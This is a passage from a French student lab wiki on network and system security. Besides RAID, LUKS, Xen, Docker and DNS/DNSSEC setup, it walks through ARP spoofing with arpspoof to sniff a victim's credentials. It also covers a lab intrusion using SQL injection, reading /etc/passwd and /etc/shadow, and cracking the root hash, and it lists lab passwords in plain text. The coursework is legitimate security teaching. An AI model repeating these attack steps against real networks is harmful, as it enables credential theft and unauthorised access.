===Attaque de type &amp;quot;homme au milieu&amp;quot; par usurpation ARP===&lt;br /&gt;
&lt;br /&gt;
Pour réaliser cette attaque, nous installons le paquet dsniff sur notre eeePC grâce à la commande :&lt;br /&gt;
 apt-get install dsniff&lt;br /&gt;
&lt;br /&gt;
La première étape consiste à transformer notre machine attaquante en routeur en mettant la variable noyau /proc/sys/net/ipv4/ip_forward à 1 : echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward &lt;br /&gt;
&lt;br /&gt;
Nous pouvons afficher la table arp de la machine pirate avec la commande : &lt;br /&gt;
 arp -a&lt;br /&gt;
Grâce à cette table nous identifions deux adresses IP :&lt;br /&gt;
&lt;br /&gt;
172.26.145.254&lt;br /&gt;
-&amp;gt; Adresse IP du routeur&lt;br /&gt;
&lt;br /&gt;
172.26.145.60&lt;br /&gt;
-&amp;gt; Adresse IP de la machine victime&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Notre but est de nous placer entre la gateway et la machine victime afin de pouvoir observer les paquets échangés entre le routeur et la machine victime.&lt;br /&gt;
&lt;br /&gt;
Les commandes suivantes vont nous permettre de procéder à notre attaque du type ARP poisoning :&lt;br /&gt;
 arpspoof -i eth0 -t 172.26.145.254 172.26.145.60 &lt;br /&gt;
 arpspoof -i eth0 -t 172.26.145.60 172.26.145.254 &lt;br /&gt;
&lt;br /&gt;
La première envoie à la cible (172.26.145.254) une fausse réponse ARP afin de corrompre le cache ARP de cette dernière pour ainsi détourner le trafic à destination de notre hôte (172.26.145.60). Ainsi lorsque le routeur devra envoyer des informations à destination de 172.26.145.60, il procédera à une résolution ARP en utilisant l'adresse MAC associé à l'IP 172.26.145.60 et qui aura été changer à la suite de notre spoofing (et nous sera alors associé). La même méthodologie est appliquée pour la seconde commande.&lt;br /&gt;
&lt;br /&gt;
En activant le mode routeur sur la machine pirate, nous pouvons retransférer les paquets entre le routeur et la machine victime de manière transparante. &lt;br /&gt;
&lt;br /&gt;
La machine victime va maintenant se connecter sur un serveur web HTTP.&lt;br /&gt;
&lt;br /&gt;
En lançant wireshark sur la machine attaquante nous observons les paquets suivants :&lt;br /&gt;
[[Fichier:wireshark_grp5.jpg|thumb|center||alt=texte alternatif|400px|Capture Wireshark]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nous pouvons voir très clairement l'adresse mail ainsi que le mot de passe utilisés par l'utilisateur victime.&lt;br /&gt;
&lt;br /&gt;
===Intrusion sur un serveur d’application Web===&lt;br /&gt;
&lt;br /&gt;
Pour commencer ce challenge nous n’avons qu’une adresse : honey.plil.info. Afin de connaitre les services sur cette machine nous utilisons l’utilitaire nmap qui va scanner le réseau grâce à des pings sweep :&lt;br /&gt;
&lt;br /&gt;
 nmap -A -T4 honey.plil.info&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Nmap_honey.png|thumb|center||alt=texte alternatif|400px|Nmap honey.plil.info]]&lt;br /&gt;
&lt;br /&gt;
Nous voyons que le serveur héberge deux services :&lt;br /&gt;
Un service de connexion ssh, inutilisable sans login et mot de passe&lt;br /&gt;
Un service web.&lt;br /&gt;
&lt;br /&gt;
Nous essayons donc de commencer par attaquer le site web honey.plil.info&lt;br /&gt;
&lt;br /&gt;
Sur la page principale seul un formulaire de connexion est présent, celui-ci sûrement utilisé par une base de données donc nous tentons une injection SQL.&lt;br /&gt;
Les requêtes SQL de connexions sont souvent de la forme : &lt;br /&gt;
Select … From … Where login = « username » AND password = « password ».&lt;br /&gt;
Si nous connaissons l’username ou le mot de passe du compte sur lequel nous voulons nous connecter nous pouvons utiliser une injection du type « or 1 = 1 -- » qui est une condition toujours vraie. Dans notre cas nous ne connaissons ni le login ni le password à utiliser donc on utilise la condition vraie sur les deux champs. De ce fait la base de données sera « perdu » et nous renvoie tous les comptes auxquels nous pouvons nous connecter en nous disant que nous ne pouvons nous connecter à tous ces comptes en même temps.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Sql_injection_honey.png|thumb|center||alt=texte alternatif|400px|Injection SQL honey.plil.info]]&lt;br /&gt;
&lt;br /&gt;
Une fois connecté en tant qu’admin nous voyons que nous avons accès à trois pages, deux sont intéressantes :&lt;br /&gt;
- La première permet d’uploader un fichier qui est stocké sur le pc du server&lt;br /&gt;
- La deuxième permet de lire ce fichier.&lt;br /&gt;
&lt;br /&gt;
Nous uploadons le fichier password situé dans le dossier « etc », en le lisant nous nous apercevons que deux utilisateurs sont présents sur le serveur : root et rex et ces deux utilisateurs ont les droits pour se connecter en ssh. Nous uploadons le fichier shadow situé dans le dossier « etc », malheureusement celui-ci est vide.&lt;br /&gt;
&lt;br /&gt;
Après quelques tentatives infructueuses pour trouver le mot de passe de rex ou de root on se sert de l’utilitaire dirb qui va bruteforce le site internet pour trouver d’autres liens.&lt;br /&gt;
&lt;br /&gt;
 dirb -r honey.plil.info&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Dirb_honey.png|thumb|center||alt=texte alternatif|400px|Dirb honey.plil.info]]&lt;br /&gt;
&lt;br /&gt;
Celui-ci nous permet de voir qu’une page http://honey.plil.info/phpmyadmin/ est présente. Nous avons fait des recherches pour savoir dans quel fichier était stocké le mot de passe administrateur de phpmyadmin. Nous uploadons donc le fichier config.inc.php, à l’intérieur de celui-ci nous ne trouvons rien excepté un deuxième nom de fichier : “config-db.php”. Dans celui-ci nous trouvons le mot de passe “gencovid19”. Une fois connecté en tant que root sur phpmyadmin, nous fouillons les bases de données et nous trouvons le nom d’utilisateur “rex” et le mot de passe “plainpassword” dans la base “test”.&lt;br /&gt;
&lt;br /&gt;
Une fois connecté en ssh sur le compte de rex, nous avons regardé ses droits et ceux-ci sont quasi identique à ceux de root on peut donc ouvrir le fichier “shadow”, récupérer le hash du mot de passe de root. Nous avons ensuite créé un dictionnaire en partant du principe que le mot de passe était de la forme &amp;quot;glopglop&amp;quot; et nous avons craqué le hash avec John the ripper qui nous donne le mot de passe ********.&lt;br /&gt;
&lt;br /&gt;
==Réalisations==&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de données===&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, nous créons 3 partitions virtuelles grâce aux commandes :&lt;br /&gt;
&lt;br /&gt;
 lvcreate -L1G -n amanite-raid1 storage&lt;br /&gt;
 lvcreate -L1G -n amanite-raid2 storage&lt;br /&gt;
 lvcreate -L1G -n amanite-raid3 storage&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous modifions le fichier : /etc/xen/amanite.cfg&lt;br /&gt;
 disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/amanite/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/amanite/swap.img,xvda1,w',&lt;br /&gt;
                  'phy:/dev/storage/RingotSanchez1,xvda3,w',&lt;br /&gt;
                  'phy:/dev/storage/RingotSanchez2,xvda4,w',&lt;br /&gt;
                  'phy:/dev/storage/amanite-raid1,xvda5,w',&lt;br /&gt;
                  'phy:/dev/storage/amanite-raid2,xvda6,w',&lt;br /&gt;
                  'phy:/dev/storage/amanite-raid3,xvda7,w'&lt;br /&gt;
              ]&lt;br /&gt;
&lt;br /&gt;
Puis nous redémarrons notre VM.&lt;br /&gt;
 xl destroy amanite&lt;br /&gt;
 xl create /etc/xen/amanite.cfg&lt;br /&gt;
&lt;br /&gt;
Après avoir relancer notre VM, nous installons le paquet mdadm.&lt;br /&gt;
&lt;br /&gt;
 apt instal mdadm&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous construisons notre volume RAID 5, et nous nous assurons que ce dernier est démarré à chaque démarrage de notre VM.&lt;br /&gt;
&lt;br /&gt;
 mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7 &lt;br /&gt;
 mdadm --monitor --daemonise /dev/md0&lt;br /&gt;
&lt;br /&gt;
Nous formatons notre volume RAID.&lt;br /&gt;
&lt;br /&gt;
 mkfs.ext4 /dev/md0 &lt;br /&gt;
&lt;br /&gt;
Et nous rajoutons la ligne suivante dans /etc/fstab :&lt;br /&gt;
&lt;br /&gt;
 /dev/md0 /raid5 ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
Nous pouvons avoir des détails notre volume grâce à la commande : &lt;br /&gt;
 mdadm --detail /dev/md0&lt;br /&gt;
&lt;br /&gt;
Pour finir, nous montons et peuplons notre volume RAID.&lt;br /&gt;
 mount /dev/md0 /mnt&lt;br /&gt;
 touch coucou.txt&lt;br /&gt;
&lt;br /&gt;
A partir de là, nous avons une configuration persistante du raid. Le RAID 5 sera identifié au boot et monté automatiquement. Nous pouvons maintenant tester notre volume RAID, nous simulons une panne sur un de nos disques.&lt;br /&gt;
&lt;br /&gt;
Nous déclarons un de nos disques comme étant en défaillance :&lt;br /&gt;
&lt;br /&gt;
 mdadm --set-faulty /dev/md0 /dev/xvda7&lt;br /&gt;
&lt;br /&gt;
Puis nous l'enlevons de notre volume RAID :&lt;br /&gt;
 mdadm --remove /dev/xvda7&lt;br /&gt;
&lt;br /&gt;
Nous constatons que notre fichier coucou.txt est toujours présent, malgré la panne de l'un de nos disques.&lt;br /&gt;
&lt;br /&gt;
Puis nous rajoutons notre disque dans notre volume RAID (ce dernier n'étant pas réellement défaillant) :&lt;br /&gt;
 mdadm --manage /dev/md0 --add /dev/xvda7&lt;br /&gt;
&lt;br /&gt;
===Chiffrement de données===&lt;br /&gt;
&lt;br /&gt;
Notre but est de chiffrer les données contenus sur une clé usb en utilisant l'utilitaire cryptsetup.&lt;br /&gt;
&lt;br /&gt;
Après avoir trouvé notre clé usb avec lsblk, on formatte celle-ci. Puis on utilise l'utilitaire cryptsetup pour la chiffrer.&lt;br /&gt;
&lt;br /&gt;
 cryptsetup luksFormat /dev/sdb&lt;br /&gt;
 cryptsetup luksOpen /dev/sdb crypt_sdb&lt;br /&gt;
&lt;br /&gt;
Ces deux commandes nous permettent d'ouvrir notre clé usb avec cryptsetup, ainsi que d'ajouter un lien crypt_sdb dans /dev/mapper. Pour pouvoir utiliser la clé il faut reformater la partition luks.&lt;br /&gt;
&lt;br /&gt;
 mkfs.ext4 /dev/mapper/crypt_sdb&lt;br /&gt;
&lt;br /&gt;
Pour pouvoir ajouter un fichier sur celle-ci nous devons la monter.&lt;br /&gt;
 &lt;br /&gt;
 mount /dev/mapper/crypt_sdb /mnt&lt;br /&gt;
&lt;br /&gt;
Puis nous y ajoutons un fichier.&lt;br /&gt;
&lt;br /&gt;
 touch /mnt/test.txt&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite unmount la clé et nous avons essayé de l'ouvrir sur un autre pc.&lt;br /&gt;
&lt;br /&gt;
 umount /mnt&lt;br /&gt;
 cryptsetup luksClose crypt_sdb&lt;br /&gt;
&lt;br /&gt;
Après avoir monté la clé sur un autre pc nous constatons que nous ne pouvons voir les fichiers présent. Pour les voir nous devons utiliser le mot de passe rentré lors de cryptsetup luksFormat.&lt;br /&gt;
&lt;br /&gt;
===Inspection ARP par un élément réseau===&lt;br /&gt;
&lt;br /&gt;
Après avoir effectué des recherches nous nous sommes rendu compte que l'asa 5506-x ne faisait pas switch et ne nous permettait donc pas de pouvoir l'utiliser contre l'ARP spoofing.&lt;br /&gt;
&lt;br /&gt;
===Sécurisation WiFi par WPA2-EAP===&lt;br /&gt;
&lt;br /&gt;
== Partie 7 ==&lt;br /&gt;
&lt;br /&gt;
=== Architecture de la ferme ===&lt;br /&gt;
&lt;br /&gt;
Pour notre groupe, l'ensemble des machines virtuelles Xen étaient déjà installées.  &lt;br /&gt;
&lt;br /&gt;
Sur notre machine virtuelle côté chassiron voici la configuration dans notre fichier /etc/network/interfaces :&lt;br /&gt;
 # The primary network interface                                                                                                                              &lt;br /&gt;
 auto eth0                                                                                                                                                    &lt;br /&gt;
 iface eth0 inet static                                                                                                                                        &lt;br /&gt;
 address 193.48.57.184                                                                                                                                        &lt;br /&gt;
 netmask 255.255.255.255                                                                                                                                      &lt;br /&gt;
 up ip address add dev eth0 100.64.0.24/24                                                                                                                    &lt;br /&gt;
 up ip route add default via 100.64.0.2 src 193.48.57.184                                                                                                     &lt;br /&gt;
 down ip address del dev eth0 100.64.0.24/24                                                                                                                  &lt;br /&gt;
 down ip route del default via 100.64.0.2 src 193.48.57.184                                                                                                                                                                                                                                                               &lt;br /&gt;
 &lt;br /&gt;
 # The secondary network interface                                                                                                                            &lt;br /&gt;
 auto eth1                                                                                                                                                    &lt;br /&gt;
 iface eth1 inet static                                                                                                                                        &lt;br /&gt;
 address 192.168.42.19                                                                                                                                        &lt;br /&gt;
 netmask 255.255.255.0 &lt;br /&gt;
&lt;br /&gt;
Nous avons mis en place notre propre masquarade avec les commandes suivantes :&lt;br /&gt;
 iptables -P FORWARD DROP&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -s 192.168.45.5/24&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -d 192.168.45.5/24&lt;br /&gt;
 iptables -t nat -A POSTROUTING -j SNAT -s 192.168.42.5/24 --to-source 193.48.57.184&lt;br /&gt;
Ce qui permet à nos paquets en provenance de 192.168.45.5 de pouvoir sortir sur internet en passant par notre interface eth0 de notre machine virtuelle sur capbreton&lt;br /&gt;
&lt;br /&gt;
Nous avons modifié notre fichier /etc/resolv.conf :                                                                                               &lt;br /&gt;
 nameserver 127.0.0.1&lt;br /&gt;
&lt;br /&gt;
Et supprimé le 01proxy qui se situe dans /etc/apt/apt.conf.d&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Sur notre machine virtuelle côté chassiron voici la configuration dans notre fichier /etc/network/interfaces :&lt;br /&gt;
 # The primary network interface&lt;br /&gt;
 auto eth0                                                                                                               &lt;br /&gt;
 iface eth0 inet static                                                                                                    &lt;br /&gt;
 address 192.168.42.5/24                                                                                                 &lt;br /&gt;
 gateway 192.168.42.19 &lt;br /&gt;
&lt;br /&gt;
Nous avons également modifié notre fichier /etc/resolv.conf :&lt;br /&gt;
 domain plil.info                                                                                                        &lt;br /&gt;
 search plil.info plil.fr                                                                                                &lt;br /&gt;
 nameserver 192.168.42.19&lt;br /&gt;
&lt;br /&gt;
Et supprimé le 01proxy qui se situe dans /etc/apt/apt.conf.d&lt;br /&gt;
&lt;br /&gt;
Nous modifions les fichiers /etc/resolv.conf pour supprimer le dns de l'ecole et nous supprimons le fichier /etc/apt/apt.conf.d/01proxy pour ne pas passer par le proxy de l'école.&lt;br /&gt;
&lt;br /&gt;
=== Installation de docker ===&lt;br /&gt;
&lt;br /&gt;
=== Création de votre conteneur ===&lt;br /&gt;
&lt;br /&gt;
Pour lancer notre containeur web nous avons commencé par créer le Dockerfile :&lt;br /&gt;
&lt;br /&gt;
 FROM httpd:2.4&lt;br /&gt;
 COPY . /usr/local/apache2/htdocs/&lt;br /&gt;
 CMD [&amp;quot;httpd&amp;quot;, &amp;quot;-D&amp;quot;, &amp;quot;FOREGROUND&amp;quot;]&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite créé l'image du Dockerfile :&lt;br /&gt;
 docker build -t web .&lt;br /&gt;
&lt;br /&gt;
Puis nous avons lancé notre container&lt;br /&gt;
 docker run -d -p &amp;quot;8085:80&amp;quot; --name web web&lt;br /&gt;
&lt;br /&gt;
Nous avons pu vérifier le bon fonctionnement de celui-ci grâce a la commande suivante :&lt;br /&gt;
 curl 193.48.57.184:8085&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite créé un rôle ansible pour créer un dépôt local docker sur notre machine secondaire :&lt;br /&gt;
&lt;br /&gt;
 - name: Setup registry&lt;br /&gt;
   docker_container:&lt;br /&gt;
           name: registry&lt;br /&gt;
           image: registry&lt;br /&gt;
           ports:&lt;br /&gt;
                   - &amp;quot;5000:5000&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Après cela nous avons voulu push notre image &amp;quot;web&amp;quot; vers notre dépôt mais une erreur est survenue, celle-ci viens du fait qu'il fallait rajouter le fichier daemon.json dans le dossier &amp;quot;/etc/docker/&amp;quot; afin de ne pas utiliser une connexion sécurisé.&lt;br /&gt;
&lt;br /&gt;
 {&lt;br /&gt;
       &amp;quot;insecure-registries&amp;quot; : [&amp;quot;192.168.42.5:5000&amp;quot;]&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
Une fois ce fichier modifié nous avons pu utiliser les commandes :&lt;br /&gt;
&lt;br /&gt;
 docker tag web 192.168.42.5:5000/webserver&lt;br /&gt;
 docker push 192.168.42.5:5000/webserver&lt;/div&gt;</summary>
		<author><name>Psanchez</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G5&amp;diff=54950</id>
		<title>TP sysres IMA5sc 2020/2021 G5</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G5&amp;diff=54950"/>
				<updated>2020-12-17T22:51:09Z</updated>
		
		<summary type="html">&lt;p&gt;Psanchez : /* Création de votre conteneur */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Groupe !! Domaine !! Distribution !! VLAN privé !! IP (VLAN333) !! Netmask (VLAN333) !! Gateway (VLAN333) !! Gateway 6509-E (VLAN333) !! Gateway 9200 (VLAN333) !! IP (publique)&lt;br /&gt;
|-&lt;br /&gt;
| Groupe 5&lt;br /&gt;
| amanite.site&lt;br /&gt;
| Debian 10 Buster&lt;br /&gt;
| 305&lt;br /&gt;
| 100.64.0.24&lt;br /&gt;
| 255.255.255.0&lt;br /&gt;
| 100.64.0.254&lt;br /&gt;
| 100.64.0.1&lt;br /&gt;
| 100.64.0.2&lt;br /&gt;
| 193.48.57.184&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
==Création d'une machine virtuelle Xen Linux sur le dom0 capbreton.plil.info==&lt;br /&gt;
&lt;br /&gt;
Connexion ssh :&lt;br /&gt;
&lt;br /&gt;
ssh pifou@capbreton.plil.info&lt;br /&gt;
&lt;br /&gt;
Création de la VM Xen :&lt;br /&gt;
&lt;br /&gt;
&amp;gt; su - (Afin de pouvoir accéder aux variables d'environnement de su et ainsi accéder à sbin/mkswap)&lt;br /&gt;
&lt;br /&gt;
&amp;gt; xen-create-image --hostname=amanite --ip=100.64.0.19 --netmask=255.255.255.0 --gateway=100.64.0.5 --password=pasglop --dir=/usr/local/xen --dist=buster &lt;br /&gt;
&lt;br /&gt;
Résultat de la commande :&lt;br /&gt;
 General Information&lt;br /&gt;
 --------------------&lt;br /&gt;
 Hostname       :  amanite&lt;br /&gt;
 Distribution   :  buster&lt;br /&gt;
 Mirror         :  http://deb.debian.org/debian&lt;br /&gt;
 Partitions     :  swap            512M  (swap)&lt;br /&gt;
                  /               4G    (ext4)&lt;br /&gt;
 Image type     :  sparse&lt;br /&gt;
 Memory size    :  256M&lt;br /&gt;
 Kernel path    :  /boot/vmlinuz-4.19.0-9-amd64&lt;br /&gt;
 Initrd path    :  /boot/initrd.img-4.19.0-9-amd64&lt;br /&gt;
&lt;br /&gt;
 Networking Information&lt;br /&gt;
 ----------------------&lt;br /&gt;
 IP Address 1   : 100.64.0.19 [MAC: 00:16:3E:C4:6A:BB]&lt;br /&gt;
 Netmask        : 255.255.255.0&lt;br /&gt;
 Gateway        : 100.64.0.5&lt;br /&gt;
&lt;br /&gt;
===Configuration des LV===&lt;br /&gt;
&lt;br /&gt;
Après que Guillaume ait créer un volume group sur capbreton pour chaque groupe puis attribuer 2 Logical Volume (LV) de 10Go sur ce volume group il est nécessaire de formater ces 2 LV à l'aide des commandes suivantes :&lt;br /&gt;
&lt;br /&gt;
 root@capbreton:~# mkfs.ext4 /dev/storage/amanite1&lt;br /&gt;
 root@capbreton:~# mkfs.ext4 /dev/storage/amanite2&lt;br /&gt;
&lt;br /&gt;
Nous avons par la suite modifier le fichier config de la VM, ''amanite.cfg'', afin qu'elle possède les volumes loguqes amanite1 et amanite2 précédemment créé en rajoutant les lignes ci-dessous :&lt;br /&gt;
&lt;br /&gt;
Dans la fonction Disk Device(s) :&lt;br /&gt;
 disk = [&lt;br /&gt;
 ...&lt;br /&gt;
 'phy:/dev/storage/RingotSanchez1,xvdav3,w'&lt;br /&gt;
 'phy:/dev/storage/RingotSanchez2,xvdav4,w'&lt;br /&gt;
 ]&lt;br /&gt;
&lt;br /&gt;
Puis dans Networking :&lt;br /&gt;
 vif = [ 'bridge=IMA5sc, ...']&lt;br /&gt;
&lt;br /&gt;
===Création et configuration de la machine virtuelle===&lt;br /&gt;
&lt;br /&gt;
Lorsque nous sommes connecté en ssh à capbreton, creation de la VM avec la commande : xl create -c /etc/xen/amanite.cfg&lt;br /&gt;
&lt;br /&gt;
*Commandes utiles&lt;br /&gt;
** Affichage de l'ensemble des VM présente sur capbreton : xl list&lt;br /&gt;
** Se connecter à la VM : xen console amanite&lt;br /&gt;
 Identifiant de la machine : root&lt;br /&gt;
 Mdp de la machine : pasglop&lt;br /&gt;
&lt;br /&gt;
'''Suite de la configuration'''&lt;br /&gt;
&lt;br /&gt;
Pour que les répertoires /var et /home de la machine virtuelle soient sur des partitions LVM de l’hôte il faut tout d'abord formater xvda3, xvda4 en ext 4  à l'aide des commandes : &lt;br /&gt;
 root@amanite:~# mkfs.ext4 /dev/xvda3 &lt;br /&gt;
 root@amanite:~# mkfs.ext4 /dev/xvda4&lt;br /&gt;
&lt;br /&gt;
Par la suite nous montons nos deux disques afin d'y déplacer nos répertoires (en ayant préalablement créer les points de montages /mnt/xvda3 et /mnt/xvda4) :&lt;br /&gt;
&lt;br /&gt;
 root@amanite:~# mount /dev/xvda3 /mnt/xvda3&lt;br /&gt;
 root@amanite:~# mount /dev/xvda4 /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
Le répertoire /home étant vide nous ne déplaçons que le répertoire /var dans le disques xvda4 :&lt;br /&gt;
&lt;br /&gt;
 root@amanite:~# mv /var/* /mnt/xvda4.&lt;br /&gt;
&lt;br /&gt;
Puis nous démontons (umount) nos deux volumes.&lt;br /&gt;
&lt;br /&gt;
Nous modifions ensuite /ect/fstab en ajoutant :&lt;br /&gt;
 /dev/xvda3 /home ext4 defaults 0 2&lt;br /&gt;
 /dev/xvda4 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
Puis nous les montons à l'aide de la commande : &lt;br /&gt;
 mount -a &lt;br /&gt;
Finalement à l'aide de la commande lsblk nous pouvons verifier notre montage : &lt;br /&gt;
 NAME  MAJ:MIN RM  SIZE RO TYPE MOUNTPOINT&lt;br /&gt;
 xvda1 202:1    0  512M  0 disk [SWAP]&lt;br /&gt;
 xvda2 202:2    0    4G  0 disk /&lt;br /&gt;
 xvda3 202:3    0   10G  0 disk /home&lt;br /&gt;
 xvda4 202:4    0   10G  0 disk /var&lt;br /&gt;
&lt;br /&gt;
==Service Internet==&lt;br /&gt;
&lt;br /&gt;
===Serveur SSH===&lt;br /&gt;
&lt;br /&gt;
Installation d'un serveur ssh, accessible grâce à la commande :&lt;br /&gt;
 ssh root@amanite.site&lt;br /&gt;
avec le mot de passe habituel d'une zabeth non root. (Il faut au préalable avoir autoriser la connexion en root : PermitRootLogin yes dans le fichier /etc/ssh/sshd_config)&lt;br /&gt;
&lt;br /&gt;
===Serveur DNS===&lt;br /&gt;
&lt;br /&gt;
Nous avons commencé par louer un nom de domaine sur gandi.net :&lt;br /&gt;
 amanite.site&lt;br /&gt;
Nous avons ensuite installé le package bind9.&lt;br /&gt;
&lt;br /&gt;
Dans le dossier de configuration de bind9 on modifie les fichiers de configurations :&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/named.conf.local :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;amanite.site&amp;quot; IN {&lt;br /&gt;
     type master;&lt;br /&gt;
     file &amp;quot;/etc/bind/zones/amanite.site.db&amp;quot;;&lt;br /&gt;
     allow-transfer{217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/zones/amanite.site.db :&lt;br /&gt;
&lt;br /&gt;
 ;BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 @       IN      SOA     ns1.amanite.site. postmaster.amanite.site. (&lt;br /&gt;
                              6         ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.amanite.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 @	 IN 	 MX	 42 ns1&lt;br /&gt;
 ns1     IN      A       193.48.57.184&lt;br /&gt;
 www     IN      A       193.48.57.184&lt;br /&gt;
 ns1     IN      AAAA    2001:660:4401:60b2:216:3eff:fec4:6abb&lt;br /&gt;
 www     IN      AAAA    2001:660:4401:60b2:216:3eff:fec4:6abb&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/name.conf.options&lt;br /&gt;
&lt;br /&gt;
 options {&lt;br /&gt;
 	directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
 	dnssec-validation auto;&lt;br /&gt;
 	listen-on-v6 { any; };&lt;br /&gt;
 	allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;;};&lt;br /&gt;
 };&lt;br /&gt;
 &lt;br /&gt;
 acl &amp;quot;allowed_to_transfer&amp;quot; {&lt;br /&gt;
     217.70.177.40/32;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Sur gandi.net on lie ns1.amanite.site à 193.48.57.184 grâce a l'option Gluerecords, ensuite on ajoute aux serveurs de noms externes.&lt;br /&gt;
 ns1.amanite.site&lt;br /&gt;
 ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
Pour vérifier le bon fonctionnement on peut utiliser les commandes suivantes :&lt;br /&gt;
 host -t any ns1.amanite.site localhost&lt;br /&gt;
 host -t any ns1.amanite.site&lt;br /&gt;
&lt;br /&gt;
ou se servir de nslookup.&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de site web par certificat===&lt;br /&gt;
&lt;br /&gt;
Pour sécuriser notre site web par certificat il faut d'abord créer un certificat pour cela on utilise l'utilitaire openssl et nous nous aidons de la documentation de Gandi.&lt;br /&gt;
Cette ligne de commande nous permet de lancer la procédure de création :&lt;br /&gt;
&lt;br /&gt;
 openssl req -nodes -newkey rsa:2048 -sha256 -keyout amanite.site.key -out amanite.site.csr&lt;br /&gt;
&lt;br /&gt;
 Country Name (2 letter code) [AU]:FR&lt;br /&gt;
 State or Province Name (full name) [Some-State]:France&lt;br /&gt;
 Locality Name (eg, city) []:Lille&lt;br /&gt;
 Organization Name (eg, company) [Internet Widgits Pty Ltd]:Polytech&lt;br /&gt;
 Organizational Unit Name (eg, section) []:IMA&lt;br /&gt;
 Common Name (e.g. server FQDN or YOUR name) []:amanite.site&lt;br /&gt;
 Email Address []:admin@amanite.site&lt;br /&gt;
 &lt;br /&gt;
 Please enter the following 'extra' attributes&lt;br /&gt;
 to be sent with your certificate request&lt;br /&gt;
 A challenge password []:glopglop&lt;br /&gt;
 An optional company name []:&lt;br /&gt;
&lt;br /&gt;
Une fois la procédure lancée nous rentrons nos informations comme notre pays, notre entreprise, notre nom d'organisation mais le plus important notre common name &amp;quot;amanite.site&amp;quot;.&lt;br /&gt;
Une fois fini deux fichiers sont créés amanite.site.key et amanite.site.csr, il faut maintenant faire signer le fichier amanite.site.csr par une authorité de certification. Cela se passe directement sur le site de gandi, nous ajoutons ce certificat a notre nom de domaine et nous attendons de recevoir le certificat signé.&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de serveur DNS par DNSSEC===&lt;br /&gt;
&lt;br /&gt;
Le but de cette partie est de résoudre certains problèmes de sécurité liés au protocole DNS grâce au procole DNSSEC. DNSSEC permet de proteger les données et les enregistrements DNS de bout en bout (et non pas seulement le canal de communication comme ce qui pourrait être fait avec TLS). Ainsi, il est efficace même lorsqu'un serveur intermédiaire a été compromis. &lt;br /&gt;
Pour ce faire, nous configurons bind pour qu'il soit capable d'accepter les échanges suivant le protocole DNSSEC.&lt;br /&gt;
&lt;br /&gt;
Nous commençons par activer DNSSEC dans le fichier /etc/bind/named.conf.local grâce à l'option :&lt;br /&gt;
 dnssec-enable yes&lt;br /&gt;
&lt;br /&gt;
Par la suite nous créons un dossier amanite.site.dnssec dans lequel seront stockées les clefs et nous générons deux couples de clefs (ZSK et KSK) qui permettront de chiffrer ou déchiffrer les enregistrements. Nous commençons par créer la clef asymétrique de signature de clefs de zone : &lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE amanite.site&lt;br /&gt;
Puis la la clef asymétrique de la zone pour signer les enregistrements :&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 1024 -n ZONE amanite.site&lt;br /&gt;
&lt;br /&gt;
Nous renommons les deux paires de clefs obtenues pour plus de lisibilité : &lt;br /&gt;
 amanite-ksk.key amanite-ksk.private amanite-zsk.key amanite-zsk.private&lt;br /&gt;
&lt;br /&gt;
Que nous incluons dans votre fichier de zone /etc/bind/zones/amanite.site.db :&lt;br /&gt;
 $include /etc/bind/amanite.site.dnssec/amanite.site-ksk.key&lt;br /&gt;
 $include /etc/bind/amanite.site.dnssec/amanite.site-zsk.key&lt;br /&gt;
&lt;br /&gt;
Sans oublier d'incrémenter le numéro de version de la zone dans le fichier amanite.site.db et amanite.site.db.signed&lt;br /&gt;
&lt;br /&gt;
Nous signons les enregistrements de la zone avec la commande : &lt;br /&gt;
